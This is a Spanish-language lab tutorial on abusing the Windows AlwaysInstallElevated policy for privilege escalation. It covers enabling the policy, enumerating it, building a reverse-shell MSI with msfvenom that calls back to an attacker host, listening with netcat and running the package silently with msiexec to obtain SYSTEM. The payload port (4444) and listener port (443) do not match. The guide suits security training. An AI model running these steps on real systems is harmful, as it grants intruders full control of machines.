AlwaysInstallElevated

AlwaysInstallElevated

La política Always Install Elevated es una configuración en Windows que permite a los usuarios estándar instalar aplicaciones con privilegios elevados. Cuando esta política está habilitada, cualquier instalación de aplicación iniciada por un usuario estándar se ejecuta con derechos administrativos, evitando así las solicitudes de Control de Cuentas de Usuario (UAC).

En pocas palabras, si está habilitada tanto en HKLM (Computer) como en HKCU (User), cualquier archivo .msi instalado por un usuario no privilegiado se ejecutará con privilegios del sistema (SYSTEM).

Laboratorio de práctica

Para poner en práctica este método de escalación de privilegios, llevaremos a cabo la configuración del mismo en un entorno controlado.

Cómo activar AlwaysInstallElevated (modo local / GPEDIT / registro)

Con gpedit.msc

  • Abrir gpedit.msc
  • Navegar a:
    • Computer Configuration > Administrative Templates > Windows Components > Windows InstallerAlways install with elevated privilegesEnable

  • User Configuration > Administrative Templates > Windows Components > Windows InstallerAlways install with elevated privilegesEnable

  • Reiniciar o forzar actualización gpupdate /force.

Con el registro (gpedit):

Abre PowerShell / CMD con privilegios de administrador (necesario para escribir en HKLM):

# HKLM (Computer)
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 1 /f
# HKCU (User)
# Si el usuario está desconectado, carga su hive y escribe HKCU
reg load HKU\TempHive "C:\Users\frank.castle\NTUSER.DAT"
reg add "HKU\TempHive\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 1 /f
reg unload HKU\TempHive

Como administrador debemos iniciar el servicio de Windows Installer.

sc query msiserver

Explotación de Always Install Elevated: Creación y Ejecución de un MSI Malicioso

Supongamos que ganamos acceso a una máquina windows a través de una reverse shell o tenemos conexión a través de winrm o rdp con un usuario de bajos privilegios, en este caso, el usuario frank.castle.

Como podemos observar, el usuario no pertence a ningun grupo privilegiado ni tiene ningun privilegio relevante asignado.

Para llevar adelante la escalada de privilegios, en primera lugar debemos enumerar y comprobar que la política AlwaysInstallElevated esta habilitada

Comprobar que la política AlwaysInstallElevated esta habilitada

reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Get-ItemProperty -Path "HKCU:\Software\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated"
Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated"

Cómo funciona

Cuando la configuración Always Install Elevated está habilitada, ocurre lo siguiente:

  1. Elevación de Instalaciones:
    • Los usuarios estándar pueden instalar aplicaciones sin necesidad de proporcionar credenciales de administrador. Esto permite que los paquetes MSI se ejecuten automáticamente con permisos administrativos.
  2. Bypass de UAC:
    • El sistema no muestra el aviso de UAC, lo que reduce la visibilidad para el usuario y puede facilitar la instalación de software no autorizado o malicioso.

Explotación de Always Install Elevated: Creación y Ejecución de un MSI Malicioso

1. Generar un Paquete MSI Malicioso

Para aprovechar esta política, podemos crear un paquete MSI malicioso para obtener una reverse shell hacia nuetro equipo de atacante. Esto se puede hacer utilizando msfvenom. En este ejemplo, configuramos el host local LHOST como 192.168.1.17 y el puerto local LPORT como 4444.

El comando para generar el paquete MSI es:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.17 LPORT=4444 -f msi > shell.msi

2. Transferir el Archivo MSI al Objetivo

Una vez generado el archivo shell.msi, debemos transferirlo a la máquina objetivo. Podemos usar algunos métodos como:

  • Compartir archivos (por ejemplo, a través de SMB).
  • Subirlo a un servidor web y descargarlo en la máquina objetivo.
  • Copiarlo directamente si tienes acceso físico o remoto.

3. Configurar un Listener

El la máquina atacante nos ponemos en escucha con netcat por el puerto indicado, en este caso 443.

rlwrap nc -lnvp 443

4. Ejecutar el Paquete MSI en el Objetivo

En la máquina objetivo, ejecutamos el paquete MSI utilizando el comando msiexec. Para evitar alertas o interrupciones, usamos los parámetros /quiet y /qn, que ejecutan la instalación en modo silencioso:

msiexec /i C:\temp\shell.msi /quiet /qn /norestart

De esta forma, logramos ganar acceso al sistema como el usuario nt authority\system.